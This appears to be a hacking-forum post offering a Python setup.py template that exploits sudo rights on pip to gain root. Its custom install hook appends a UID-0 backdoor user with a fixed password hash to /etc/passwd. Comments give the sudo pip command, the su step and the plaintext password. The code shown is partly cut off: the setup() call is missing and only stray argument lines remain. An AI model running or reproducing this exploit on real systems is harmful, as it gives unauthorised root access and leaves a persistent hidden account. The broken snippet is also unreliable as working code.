Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Quick Write-Up: Pip-Boy
Every get a foothold on system that allows a user to run Python pip as sudo?
Here's a script template to perform actions. Use it and modify it to your needs.. Smile

#Rename to before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su tails
#password is screaming-goats
from setuptools import setup
from setuptools.command.install import install
import os

class CustomInstall(install):
    def run(self):
        os.system('echo tails:/UeS4ThUJ6N8s:0:0:root:/root:/bin/bash >> /etc/passwd')

      description='This will exploit a sudoer able to run /usr/bin/pip as root',
      author_email='[email protected]',
Give me 9 hours to chop down a tree. I'll spend 8 hours sharpening my axe. - Tails

#gollama member

Forum Jump: